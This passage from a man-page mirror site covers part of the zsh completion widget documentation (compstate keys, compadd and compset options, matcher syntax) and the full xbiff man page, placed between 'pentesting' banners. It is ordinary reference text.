Initially this will be set to the part of the current word from the cursor position to the end; it may be altered to give a common suffix for all matches. It is most useful when the option COMPLETE_IN_WORD is set, as otherwise the whole word on the command line is treated as a prefix.

compstate
This is an associative array with various keys and values that the completion code uses to exchange information with the completion widget. The keys are:

all_quotes The -q option of the compset builtin command (see below) allows a quoted string to be broken into separate words; if the cursor is on one of those words, that word will be completed, possibly invoking `compset -q’ recursively. With this key it is possible to test the types of quoted strings which are currently broken into parts in this fashion. Its value contains one character for each quoting level. The characters are a single quote or a double quote for strings quoted with these characters, a dollars sign for strings quoted with $’ and a backslash for strings not starting with a quote character. The first character in the value always corresponds to the innermost quoting level.

context
This will be set by the completion code to the overall context in which completion is attempted. Possible values are:

array_value when completing inside the value of an array parameter assignment; in this case the words array contains the words inside the parentheses.

brace_parameter
when completing the name of a parameter in a parameter expansion beginning with ${. This context will also be set when completing parameter flags following ${(; the full command line argument is presented and the handler must test the value to be completed to ascertain that this is the case.

assign_parameter
when completing the name of a parameter in a parameter assignment.

command
when completing for a normal command (either in command position or for an argument of the command).

condition
when completing inside a `[[]]’ conditional expression; in this case the words array contains only the words inside the conditional expression.

math
when completing in a mathematical environment such as a `(())’ construct.

parameter
when completing the name of a parameter in a parameter expansion beginning with $ but not ${.

redirect
when completing after a redirection operator.

subscript
when completing inside a parameter subscript.

value
when completing the value of a parameter assignment.

exact
Controls the behaviour when the REC_EXACT option is set. It will be set to accept if an exact match would be accepted, and will be unset otherwise.

If it was set when at least one match equal to the string on the line was generated, the match is accepted.

exact_string
The string of an exact match if one was found, otherwise unset.

ignored
The number of completions that were ignored because they matched one of the patterns given with the -F option to the compadd builtin command.

insert
This controls the manner in which a match is inserted into the command line. On entry to the widget function, if it is unset the command line is not to be changed; if set to unambiguous, any prefix common to all matches is to be inserted; if set to automenu-unambiguous, the common prefix is to be inserted and the next invocation of the completion code may start menu completion (due to the AUTO_MENU option being set); if set to menu or automenu menu completion will be started for the matches currently generated (in the latter case this will happen because the AUTO_MENU is set). The value may also contain the string `tab’ when the completion code would normally not really do completion, but only insert the TAB character.

On exit it may be set to any of the values above (where setting it to the empty string is the same as unsetting it), or to a number, in which case the match whose number is given will be inserted into the command line. Negative numbers count backward from the last match (with `-1’ selecting the last match) and out-of-range values are wrapped around, so that a value of zero selects the last match and a value one more than the maximum selects the first. Unless the value of this key ends in a space, the match is inserted as in a menu completion, i.e. without automatically appending a space.

Both menu and automenu may also specify the number of the match to insert, given after a colon. For example, `menu:2’ says to start menu completion, beginning with the second match.

Note that a value containing the substring `tab’ makes the matches generated be ignored and only the TAB be inserted.

Finally, it may also be set to all, which makes all matches generated be inserted into the line.

insert_positions
When the completion system inserts an unambiguous string into the line, there may be multiple places where characters are missing or where the character inserted differs from at least one match. The value of this key contains a colon separated list of all these positions, as indexes into the command line.

last_prompt
If this is set to a non-empty string for every match added, the completion code will move the cursor back to the previous prompt after the list of completions has been displayed. Initially this is set or unset according to the ALWAYS_LAST_PROMPT option.

list
This controls whether or how the list of matches will be displayed. If it is unset or empty they will never be listed; if its value begins with list, they will always be listed; if it begins with autolist or ambiguous, they will be listed when the AUTO_LIST or LIST_AMBIGUOUS options respectively would normally cause them to be.

If the substring force appears in the value, this makes the list be shown even if there is only one match. Normally, the list would be shown only if there are at least two matches.

The value contains the substring packed if the LIST_PACKED option is set. If this substring is given for all matches added to a group, this group will show the LIST_PACKED behavior. The same is done for the LIST_ROWS_FIRST option with the substring rows.

Finally, if the value contains the string explanations, only the explanation strings, if any, will be listed and if it contains messages, only the messages (added with the -x option of compadd) will be listed. If it contains both explanations and messages both kinds of explanation strings will be listed. It will be set appropriately on entry to a completion widget and may be changed there.

list_lines
This gives the number of lines that are needed to display the full list of completions. Note that to calculate the total number of lines to display you need to add the number of lines needed for the command line to this value, this is available as the value of the BUFFERLINES special parameter.

list_max
Initially this is set to the value of the LISTMAX parameter. It may be set to any other value; when the widget exits this value will be used in the same way as the value of LISTMAX.

nmatches
The number of matches added by the completion code so far.

old_insert
On entry to the widget this will be set to the number of the match of an old list of completions that is currently inserted into the command line. If no match has been inserted, this is unset.

As with old_list, the value of this key will only be used if it is the string keep. If it was set to this value by the widget and there was an old match inserted into the command line, this match will be kept and if the value of the insert key specifies that another match should be inserted, this will be inserted after the old one.

old_list
This is set to yes if there is still a valid list of completions from a previous completion at the time the widget is invoked. This will usually be the case if and only if the previous editing operation was a completion widget or one of the builtin completion functions. If there is a valid list and it is also currently shown on the screen, the value of this key is shown.

After the widget has exited the value of this key is only used if it was set to keep. In this case the completion code will continue to use this old list. If the widget generated new matches, they will not be used.

parameter
The name of the parameter when completing in a subscript or in the value of a parameter assignment.

pattern_insert
Normally this is set to menu, which specifies that menu completion will be used whenever a set of matches was generated using pattern_match (see below). If it is set to any other non-empty string by the user and menu completion is not selected by other option settings, the code will instead insert any common prefix for the generated matches as with normal completion.

pattern_match
Locally controls the behaviour given by the GLOB_COMPLETE option. Initially it is set to `*’ if and only if the option is set. The completion widget may set it to this value, to an empty string (which has the same effect as unsetting it), or to any other non-empty string. If it is non-empty, unquoted metacharacters on the command line will be treated as patterns; if it is `*’, then additionally a wildcard `*’ is assumed at the cursor position; if it is empty or unset, metacharacters will be treated literally.

Note that the match specifications given to the compadd builtin command are not used if this is set to a non-empty string.

quote
When completing inside quotes, this contains the quotation character (i.e. either a single quote, a double quote, or a backtick). Otherwise it is unset.

quoting
When completing inside single quotes, this is set to the string single; inside double quotes, the string double; inside backticks, the string backtick. Otherwise it is unset.

redirect
The redirection operator when completing in a redirection position, i.e. one of <, >, etc.

restore
This is set to auto before a function is entered, which forces the special parameters mentioned above (words, CURRENT, PREFIX, IPREFIX, SUFFIX, and ISUFFIX) to be restored to their previous values when the function exits. If a function unsets it or sets it to any other string, they will not be restored.

to_end
Specifies the occasions on which the cursor is moved to the end of a string when a match is inserted. On entry to a widget function, it may be single if this will happen when a single unambiguous match was inserted or match if it will happen any time a match is inserted (for example, by menu completion; this is likely to be the effect of the ALWAYS_TO_END option).

On exit, it may be set to single as above. It may also be set to always, or to the empty string or unset; in those cases the cursor will be moved to the end of the string always or never respectively. Any other string is treated as match.

unambiguous
This key is read-only and will always be set to the common (unambiguous) prefix the completion code has generated for all matches added so far.

unambiguous_cursor
This gives the position the cursor would be placed at if the common prefix in the unambiguous key were inserted, relative to the value of that key. The cursor would be placed before the character whose index is given by this key.

unambiguous_positions
This contains all positions where characters in the unambiguous string are missing or where the character inserted differs from at least one of the matches. The positions are given as indexes into the string given by the value of the unambiguous key.

vared
If completion is called while editing a line using the vared builtin, the value of this key is set to the name of the parameter given as an argument to vared. This key is only set while a vared command is active.

words
This array contains the words present on the command line currently being edited.

COMPLETION BUILTIN COMMANDS

compadd [ -akqQfenUl12C ] [ -F array ]

[-P prefix ] [ -S suffix ]

[-p hidden-prefix ] [ -s hidden-suffix ]

[-i ignored-prefix ] [ -I ignored-suffix ]

[-W file-prefix ] [ -d array ]

[-J group-name ] [ -X explanation ] [ -x message ]

[-V group-name ] [ -o [ order ] ]

[-r remove-chars ] [ -R remove-func ]

[-D array ] [ -O array ] [ -A array ]

[-E number ]

[-M match-spec ] [ ] [ completions … ]

This builtin command can be used to add matches directly and control all the information the completion code stores with each possible completion. The return status is zero if at least one match was added and non-zero if no matches were added.

The completion code breaks each match into seven fields in the order:

The first field is an ignored prefix taken from the command line, the contents of the IPREFIX parameter plus the string given with the -i option. With the -U option, only the string from the -i option is used. The field <apre> is an optional prefix string given with the -P option. The <hpre> field is a string that is considered part of the match but that should not be shown when listing completions, given with the -p option; for example, functions that do filename generation might specify a common path prefix this way. <body> is the part of the match that should appear in the list of matches shown to the user. The suffixes <hsuf>, <asuf> and <isuf> correspond to the prefixes <hpre>, <apre> and <ipre> and are given by the options -s, -S and -I, respectively.

The supported flags are:

-P prefix This gives a string to be inserted before each match. The string given is not considered as part of the match and any shell metacharacters in it will not be quoted when the string is inserted.

-S suffix
Like -P, but gives a string to be inserted after each match.

-p hidden-prefix
This gives a string that should be inserted before each match but that should not appear in the list of matches. Unless the -U option is given, this string must be matched as part of the string on the command line.

-s hidden-suffix
Like `-p’, but gives a string to insert after each match.

-i ignored-prefix
This gives a string to insert just before any string given with the `-P’ option. Without `-P’ the string is inserted before the string given with `-p’ or directly before each match.

-I ignored-suffix
Like -i, but gives an ignored suffix.

-a
With this flag the completions are taken as names of arrays and the actual completions are their values. If only some elements of the arrays are needed, the completions may also contain subscripts, as in `foo[2,-1]’.

-k
With this flag the completions are taken as names of associative arrays and the actual completions are their keys. As for -a, the words may also contain subscripts, as in `foo[(R)*bar*]'.

-d array
This adds per-completion display strings. The array should contain one element per completion given. The completion code will then display the first element instead of the first completion, and so on. The array may be given as the name of an array parameter or directly as a space-separated list of words in parentheses.

If there are fewer display strings than completions, the leftover completions will be displayed unchanged and if there are more display strings than completions, the leftover display strings will be silently ignored.

-l
This option only has an effect if used together with the -d option. If it is given, the display strings are listed one per line, not arrayed in columns.

-o [ order ]
This controls the order in which matches are sorted. order is a comma-separated list comprising the following possible values. These values can be abbreviated to their initial two or three characters. Note that the order forms part of the group name space so matches with different orderings will not be in the same group.

match If given, the order of the output is determined by the match strings; otherwise it is determined by the display strings (i.e. the strings given by the -d option). This is the default if `-o’ is specified but the order argument is omitted.

nosort
This specifies that the completions are pre-sorted and their order should be preserved. This value only makes sense alone and cannot be combined with any others.

numeric
If the matches include numbers, sort them numerically rather than lexicographically.

reverse
Arrange the matches backwards by reversing the sort ordering.

-J group-name
Gives the name of the group that the matches should be stored in.

-V group-name
Like -J but naming an unsorted group. This option is identical to the combination of -J and -o nosort.

-1
If given together with the -V option, makes only consecutive duplicates in the group be removed. If combined with the -J option, this has no visible effect. Note that groups with and without this flag are in different name spaces.

-2
If given together with the -J or -V option, makes all duplicates be kept. Again, groups with and without this flag are in different name spaces.

-X explanation
The explanation string will be printed with the list of matches, above the group currently selected.

Within the explanation, the following sequences may be used to specify output attributes as described in the section EXPANSION OF PROMPT SEQUENCES in zshmisc(1): `%B’, `%S’, `%U’, `%F’, `%K’ and their lower case counterparts, as well as `%{%}’. `%F’, `%K’ and `%{%}’ take arguments in the same form as prompt expansion. (Note that the sequence `%G’ is not available; an argument to `%{’ should be used instead.) The sequence `%%’ produces a literal `%'.

These sequences are most often employed by users when customising the format style (see zshcompsys(1)), but they must also be taken into account when writing completion functions, as passing descriptions with unescaped `%’ characters to utility functions such as _arguments and _message may produce unexpected results. If arbitrary text is to be passed in a description, it can be escaped using e.g. ${my_str///%%}.

-x message
Like -X, but the message will be printed even if there are no matches in the group.

-q
The suffix given with -S will be automatically removed if the next character typed is a blank or does not insert anything, or if the suffix consists of only one character and the next character typed is the same character.

-r remove-chars
This is a more versatile form of the -q option. The suffix given with -S or the slash automatically added after completing directories will be automatically removed if the next character typed inserts one of the characters given in the remove-chars. This string is parsed as a characters class and understands the backslash sequences used by the print command. For example, `-r “a-z “’ removes the suffix if the next character typed inserts a lower case character or a TAB, and `-r “^0-9”’ removes the suffix if the next character typed inserts anything but a digit. One extra backslash sequence is understood in this string: `**’ stands for all characters that insert nothing. Thus `-S “=” -q**’ is the same as `-S “=” -r “= "'.

This option may also be used without the -S option; then any automatically added space will be removed when one of the characters in the list is typed.

-R remove-func
This is another form of the -r option. When a match has been accepted and a suffix has been inserted, the function remove-func will be called after the next character typed. It is passed the length of the suffix as an argument and can use the special parameters available in ordinary (non-completion) zle widgets (see zshzle(1)) to analyse and modify the command line.

-f
If this flag is given, all of the matches built from the completions are marked as being the names of files. They are not required to be actual filenames, but if they are, and the option LIST_TYPES is set, the characters describing the types of the files in the completion lists will be shown. This also forces a slash to be added when the name of a directory is completed.

-e
This flag can be used to tell the completion code that the matches added are parameter names for a parameter expansion. This will make the AUTO_PARAM_SLASH and AUTO_PARAM_KEYS options be used for the matches.

-W file-prefix
This string is a pathname that will be prepended to each match together with any prefix specified by the -p option to form a complete filename for testing. Hence it is only useful if combined with the -f flag, as the tests will not otherwise be performed.

-F array
Specifies an array containing patterns. completions that match one of these patterns are ignored, that is, not considered to be matches.

The array may be the name of an array parameter or a list of literal patterns enclosed in parentheses and quoted, as in `-F “(*?.o *?.h)”’. If the name of an array is given, the elements of the array are taken as the patterns.

-Q
This flag instructs the completion code not to quote any metacharacters in the matches when inserting them into the command line.

-M match-spec
This gives local match specifications as described below in the section `Completion Matching Control’. This option may be given more than once. In this case all match-specs given are concatenated with spaces between them to form the specification string to use. Note that they will only be used if the -U option is not given.

-n
Specifies that matching completions are to be added to the set of matches, but are not to be listed to the user.

-U
If this flag is given, all completions are added to the set of matches and no matching will be done by the completion code. Normally this is used in functions that do the matching themselves.

-O array
If this option is given, the completions are not added to the set of matches. Instead, matching is done as usual and all of the completions that match will be stored in the array parameter whose name is given as array.

-A array
As the -O option, except that instead of those of the completions which match being stored in array, the strings generated internally by the completion code are stored. For example, with a match specification of `-M “L:|no=”’, a current word of `nof’ and completions of `foo’, this option stores the string `nofoo’ in the array, whereas the -O option stores the `foo’ originally given.

-D array
As with -O, the completions are not added to the set of matches. Instead, whenever the nth completion does not match, the nth element of the array is removed. Elements for which the corresponding completion matches are retained. This option can be used more than once to remove elements from multiple arrays.

-C
This option adds a special match which expands to all other matches when inserted into the line, even those that are added after this option is used. Together with the -d option it is possible to specify a string that should be displayed in the list for this special match. If no string is given, it will be shown as a string containing the strings that would be inserted for the other matches, truncated to the width of the screen.

-E number
This option adds number empty matches after matching completions have been added. An empty match takes up space in completion listings but will never be inserted in the line and can’t be selected with menu completion or menu selection. This makes empty matches only useful to format completion lists and to make explanatory string be shown in completion lists (since empty matches can be given display strings with the -d option). And because all but one empty string would otherwise be removed, this option implies the -V and -2 options (even if an explicit -J option is given). This can be important to note as it affects the name space into which matches are added.

-

This flag ends the list of flags and options. All arguments after it will be taken as the completions even if they begin with hyphens.

Except for the -M flag, if any of these flags is given more than once, the first one (and its argument) will be used.

compset -p number

compset -P [ number ] pattern

compset -s number

compset -S [ number ] pattern

compset -n begin [ end ]

compset -N beg-pat [ end-pat ]

compset -q This command simplifies modification of the special parameters, while its return status allows tests on them to be carried out.

The options are:

-p number If the value of the PREFIX parameter is at least number characters long, the first number characters are removed from it and appended to the contents of the IPREFIX parameter.

-P [ number ] pattern
If the value of the PREFIX parameter begins with anything that matches the pattern, the matched portion is removed from PREFIX and appended to IPREFIX.

Without the optional number, the longest match is taken, but if number is given, anything up to the numberth match is moved. If the number is negative, the numberth longest match is moved. For example, if PREFIX contains the string `a=b=c’, then compset -P ‘*' will move the string `a=b=’ into the IPREFIX parameter, but compset -P 1 ‘*' will move only the string `a=’.

-s number
As -p, but transfer the last number characters from the value of SUFFIX to the front of the value of ISUFFIX.

-S [ number ] pattern
As -P, but match the last portion of SUFFIX and transfer the matched portion to the front of the value of ISUFFIX.

-n begin [ end ]
If the current word position as specified by the parameter CURRENT is greater than or equal to begin, anything up to the beginth word is removed from the words array and the value of the parameter CURRENT is decremented by begin.

If the optional end is given, the modification is done only if the current word position is also less than or equal to end. In this case, the words from position end onwards are also removed from the words array.

Both begin and end may be negative to count backwards from the last element of the words array.

-N beg-pat [ end-pat ]
If one of the elements of the words array before the one at the index given by the value of the parameter CURRENT matches the pattern beg-pat, all elements up to and including the matching one are removed from the words array and the value of CURRENT is changed to point to the same word in the changed array.

If the optional pattern end-pat is also given, and there is an element in the words array matching this pattern, the parameters are modified only if the index of this word is higher than the one given by the CURRENT parameter (so that the matching word has to be after the cursor). In this case, the words starting with the one matching end-pat are also removed from the words array. If words contains no word matching end-pat, the testing and modification is performed as if it were not given.

-q
The word currently being completed is split on spaces into separate words, respecting the usual shell quoting conventions. The resulting words are stored in the words array, and CURRENT, PREFIX, SUFFIX, QIPREFIX, and QISUFFIX are modified to reflect the word part that is completed.

In all the above cases the return status is zero if the test succeeded and the parameters were modified and non-zero otherwise. This allows one to use this builtin in tests such as:

if compset -P ‘*=’; then …

This forces anything up to and including the last equal sign to be ignored by the completion code.

compcall [ -TD ]
This allows the use of completions defined with the compctl builtin from within completion widgets. The list of matches will be generated as if one of the non-widget completion functions (complete-word, etc.) had been called, except that only compctls given for specific commands are used. To force the code to try completions defined with the -T option of compctl and/or the default completion (whether defined by compctl -D or the builtin default) in the appropriate places, the -T and/or -D flags can be passed to compcall.

The return status can be used to test if a matching compctl definition was found. It is non-zero if a compctl was found and zero otherwise.

Note that this builtin is defined by the zsh/compctl module.

COMPLETION CONDITION CODES

The following additional condition codes for use within the [[ ]] construct are available in completion widgets. These work on the special parameters. All of these tests can also be performed by the compset builtin, but in the case of the condition codes the contents of the special parameters are not modified.

-prefix [ number ] pattern true if the test for the -P option of compset would succeed.

-suffix [ number ] pattern
true if the test for the -S option of compset would succeed.

-after beg-pat
true if the test of the -N option with only the beg-pat given would succeed.

-between beg-pat end-pat
true if the test for the -N option with both patterns would succeed.

COMPLETION MATCHING CONTROL

When the user invokes completion, the current word on the command line (that is, the word the cursor is currently on) is used to generate a match pattern. Only those completions that match the pattern are offered to the user as matches.

The default match pattern is generated from the current word by either

· appending a `*’ (matching any number of characters in a completion) or,

·
if the shell option COMPLETE_IN_WORD is set, inserting a `*’ at the cursor position.

This narrow pattern can be broadened selectively by passing a match specification to the compadd builtin command through its -M option (see `Completion Builtin Commands’ above). A match specification consists of one or more matchers separated by whitespace. Matchers in a match specification are applied one at a time, from left to right. Once all matchers have been applied, completions are compared to the final match pattern and non-matching ones are discarded.

· Note that the -M option is ignored if the current word contains a glob pattern and the shell option GLOB_COMPLETE is set or if the pattern_match key of the special associative array compstate is set to a non-empty value (see `Completion Special Parameters’ above).

·
Users of the completion system (see zshcompsys(1)) should generally not use the -M option directly, but rather use the matcher-list and matcher styles (see the subsection Standard Styles in the documentation for COMPLETION SYSTEM CONFIGURATION in zshcompsys(1)).

Each matcher consists of

· a case-sensitive letter

·
a `:’,

·
one or more patterns separated by pipes (`|’),

·
an equals sign (`=’), and

·
another pattern.

The patterns before the `=’ are used to match substrings of the current word. For each matched substring, the corresponding part of the match pattern is broadened with the pattern after the `=’, by means of a logical OR.

Each pattern in a matcher cosists of either

· the empty string or

·
a sequence of

· literal characters (which may be quoted with a `****’),

·
question marks (`?’),

·
bracket expressions (`[…]’; see the subsection Glob Operators in the documentation for GLOB OPERATORS in zshexpn(1)), and/or

·
brace expressions (see below).

Other shell patterns are not allowed.

A brace expression, like a bracket expression, consists of a list of

· literal characters,

·
ranges (`0-9’), and/or

·
character classes (`[:name:]’).

However, they differ from each other as follows:

· A brace expression is delimited by a pair of braces (`{…}’).

·
Brace expressions do not support negations. That is, an initial `!’ or `^’ has no special meaning and will be interpreted as a literal character.

·
When a character in the current word matches the nth pattern in a brace expression, the corresponding part of the match pattern is broadened only with the nth pattern of the brace expression on the other side of the `=’, if there is one; if there is no brace expression on the other side, then this pattern is the empty string. However, if either brace expression has more elements than the other, then the excess entries are simply ignored. When comparing indexes, each literal character or character class counts as one element, but each range is instead expanded to the full list of literal characters it represents. Additionally, if on both sides of the `=’, the nth pattern is `[:upper:]’ or `[:lower:]’, then these are expanded as ranges, too.

Note that, although the matching system does not yet handle multibyte characters, this is likely to be a future extension. Hence, using `[:upper:]’ and `[:lower:]’ is recommended over `A-Z’ and `a-z’.

Below are the different forms of matchers supported. Each uppercase form behaves exactly like its lowercase counterpart, but adds an additional step after the match pattern has filtered out non-matching completions: Each of a match’s substrings that was matched by a subpattern from an uppercase matcher is replaced with the corresponding substring of the current word. However, patterns from lowercase matchers have higher weight: If a substring of the current word was matched by patterns from both a lowercase and an uppercase matcher, then the lowercase matcher’s pattern wins and the corresponding part of the match is not modified.

Unless indicated otherwise, each example listed assumes COMPLETE_IN_WORD to be unset (as it is by default).

**m:word-pat=**match-pat

**M:word-pat=**match-pat

For each substring of the current word that matches word-pat, broaden the corresponding part of the match pattern to additionally match match-pat.

Examples:

m:{[:lower:]}={[:upper:]} lets any lower case character in the current word be completed to itself or its uppercase counterpart. So, the completions `foo’, `FOO’ and `Foo’ will are be considered matches for the word `fo'.

M:_= inserts every underscore from the current word into each match, in the same relative position, determined by matching the substrings around it. So, given a completion `foo’, the word `f_o’ will be completed to the match `f_oo’, even though the latter was not present as a completion.

**b:word-pat=**match-pat

**B:word-pat=**match-pat

**e:word-pat=**match-pat

**E:word-pat=**match-pat

For each consecutive substring at the **b:**eginning or **e:**nd of the current word that matches word-pat, broaden the corresponding part of the match pattern to additionally match match-pat.

Examples:

`b:-=+’ lets any number of minuses at the start of the current word be completed to a minus or a plus.

`B:0=’ adds all zeroes at the beginning of the current word to the beginning of each match.

**l:|word-pat=**match-pat

**L:|word-pat=**match-pat

**R:word-pat|=**match-pat

**r:word-pat|=**match-pat

If there is a substring at the **l:**eft or **r:**ight edge of the current word that matches word-pat, then broaden the corresponding part of the match pattern to additionally match match-pat.

For each l:, L:, r: and R: matcher (including the ones below), the pattern match-pat may also be a `*’. This matches any number of characters in a completion.

Examples:

`r:|=*’ appends a `*’ to the match pattern, even when COMPLETE_IN_WORD is set and the cursor is not at the end of the current word.

If the current word starts with a minus, then `L:|-=’ will prepend it to each match.

**l:anchor|word-pat=**match-pat

**L:anchor|word-pat=**match-pat

**r:word-pat|anchor=**match-pat

**R:word-pat|anchor=**match-pat

For each substring of the current word that matches word-pat and has on its **l:**eft or **r:**ight another substring matching anchor, broaden the corresponding part of the match pattern to additionally match match-pat.

Note that these matchers (and the ones below) modify only what is matched by word-pat; they do not change the matching behavior of what is matched by anchor (or coanchor; see the matchers below). Thus, unless its corresponding part of the match pattern has been modified, the anchor in the current word has to match literally in each completion, just like any other substring of the current word.

If a matcher includes at least one anchor (which includes the matchers with two anchors, below), then match-pat may also be `*’ or `**’. `*’ can match any part of a completion that does not contain any substrings matching anchor, whereas a `**’ can match any part of a completion, period. (Note that this is different from the behavior of `*’ in the anchorless forms of `l:’ and `r:’ and and also different from `*’ and `**’ in glob expressions.)

Examples:

`r:|.=*’ makes the completion `comp.sources.unix’ a match for the word `..u’ – but not for the word `.u'.

Given a completion `–foo’, the matcher `L:–|no-=’ will complete the word `–no-’ to the match `–no-foo'.

**l:anchor||coanchor=**match-pat

**L:anchor||coanchor=**match-pat

**r:coanchor||anchor=**match-pat

**R:coanchor||anchor=**match-pat

For any two consecutive substrings of the current word that match anchor and coanchor, in the order given, insert the pattern match-pat between their corresponding parts in the match pattern.

Note that, unlike anchor, the pattern coanchor does not change what `*’ can match.

Examples:

`r:?||[[:upper:]]=*’ will complete the current word `fB’ to `fooBar’, but it will not complete it to `fooHooBar’ (because `*’ here cannot match anything that includes a match for `[[:upper:]]), nor will it complete `B’ to `fooBar’ (because there is no character in the current word to match coanchor).

Given the current word `pass.n’ and a completion `pass.byname’, the matcher `L:.||[[:alpha:]]=by’ will produce the match `pass.name'.

x:

Ignore this matcher and all matchers to its right.

This matcher is used to mark the end of a match specification. In a single standalone list of matchers, this has no use, but where match specifications are concatenated, as is often the case when using the completion system (see zshcompsys(1)), it can allow one match specification to override another.

COMPLETION WIDGET EXAMPLE

The first step is to define the widget:

zle -C complete complete-word complete-files

Then the widget can be bound to a key using the bindkey builtin command:

bindkey ‘^X ’ complete

After that the shell function complete-files will be invoked after typing control-X and TAB. The function should then generate the matches, e.g.:

complete-files () { compadd - * }

This function will complete files in the current directory matching the current word.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1620 - Linux cli command xbiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xbiff and provides detailed information about the command xbiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xbiff.

NAME 🖥️ xbiff 🖥️

mailbox flag for X

SYNOPSIS

xbiff [ -toolkitoption … ] [ -option … ]

DESCRIPTION

The xbiff program displays a little image of a mailbox. When there is no mail, the flag on the mailbox is down. When mail arrives, the flag goes up and the mailbox beeps. By default, pressing any mouse button in the image forces xbiff to remember the current size of the mail file as being the ``empty’’ size and to lower the flag.

OPTIONS

Xbiff accepts all of the standard X Toolkit command line options along with the additional options listed below:

-help
This option indicates that a brief summary of the allowed options should be printed on the standard error.

-update seconds
This option specifies the frequency in seconds at which xbiff should update its display. If the mailbox is obscured and then exposed, it will be updated immediately. The default is 30 seconds.

-file filename
This option specifies the name of the file which should be monitored. By default it watches your inbox in the default location for your system (some examples are /var/mail/username, /usr/spool/mail/username, /var/spool/mail/username (where username is your login name). If the MAIL environment variable is set, the file specified by it will be monitored.

-volume percentage
This option specifies how loud the bell should be rung when new mail comes in. The percentage is relative to the current volume in xset. So 0 is normal volume, negative percentages are towards minimum (-100 is silent), and positive percentages are towards maximum volume (100 is loudest).

-shape
This option indicates that the mailbox window should be shaped if masks for the empty or full images are given.

The following standard X Toolkit command line arguments are commonly used with xbiff:

-display display
This option specifies the X server to contact.

-geometry geometry
This option specifies the preferred size and position of the mailbox window. The mailbox is 48 pixels wide and 48 pixels high and will be centered in the window.

-bg color
This option specifies the color to use for the background of the window.

-bd color
This option specifies the color to use for the border of the window.

-bw number
This option specifies the width in pixels of the border surrounding the window.

-fg color
This option specifies the color to use for the foreground of the window.

-rv
This option indicates that reverse video should be simulated by swapping the foreground and background colors.

-xrm resourcestring
This option specifies a resource string to be used. This is especially useful for setting resources that do not have separate command line options.

X DEFAULTS

The application class name is XBiff. This program uses the Mailbox widget. It understands all of the core resource names and classes as well as:

checkCommand (class CheckCommand)
Specifies a shell command to be executed to check for new mail rather than examining the size of file. The specified string value is used as the argument to a system**(3) call and may therefore contain i/o redirection.** An exit status of 0 indicates that new mail is waiting, 1 indicates that there has been no change in size, and 2 indicates that the mail has been cleared. By default, no shell command is provided.

file (class File)
Specifies the name of the file to monitor. The default is as described above for the -file command line option.

onceOnly (class Boolean)
Specifies that the bell is only rung the first time new mail is found and is not rung again until at least one interval has passed with no mail waiting. The window will continue to indicate the presence of new mail until it has been retrieved. The default is false.

width (class Width)
Specifies the width of the mailbox.

height (class Height)
Specifies the height of the mailbox.

update (class Interval)
Specifies the frequency in seconds at which the mail should be checked. The default is 30.

volume (class Volume)
Specifies how loud the bell should be rung. The default is 33 percent. Note that this is a percentage of the current xset volume. To reduce the volume, specify a negative percentage.

foreground (class Foreground)
Specifies the color for the foreground.

reverseVideo (class ReverseVideo)
Specifies that the foreground and background should be reversed.

flip (class Flip)
Specifies whether or not the image that is shown when mail has arrived should be inverted. The default is ``true.''

fullPixmap (class Pixmap)
Specifies a bitmap to be shown when new mail has arrived. The default is flagup.

emptyPixmap (class Pixmap)
Specifies a bitmap to be shown when no new mail is present. The default is flagdown.

shapeWindow (class ShapeWindow)
Specifies whether or not the mailbox window should be shaped to the given fullPixmapMask and emptyPixmapMask. The default is false.

fullPixmapMask (class PixmapMask)
Specifies a mask for the bitmap to be shown when new mail has arrived. The default is none.

emptyPixmapMask (class PixmapMask)
Specifies a mask for the bitmap to be shown when no new mail is present. The default is none.

ACTIONS

The Mailbox widget provides the following actions for use in event translations:

check()
This action causes the widget to check for new mail and display the flag appropriately.

unset()
This action causes the widget to lower the flag until new mail comes in.

set()
This action causes the widget to raise the flag until the user resets it.

The default translation is

        <ButtonPress>:  unset()

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

SEE ALSO

X(7), xrdb(1), stat(2)

BUGS

The mailbox bitmaps are ugly.

AUTHOR

Jim Fulton, MIT X Consortium
Additional hacks by Ralph Swick, DEC/MIT Project Athena

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1621 - Linux cli command make

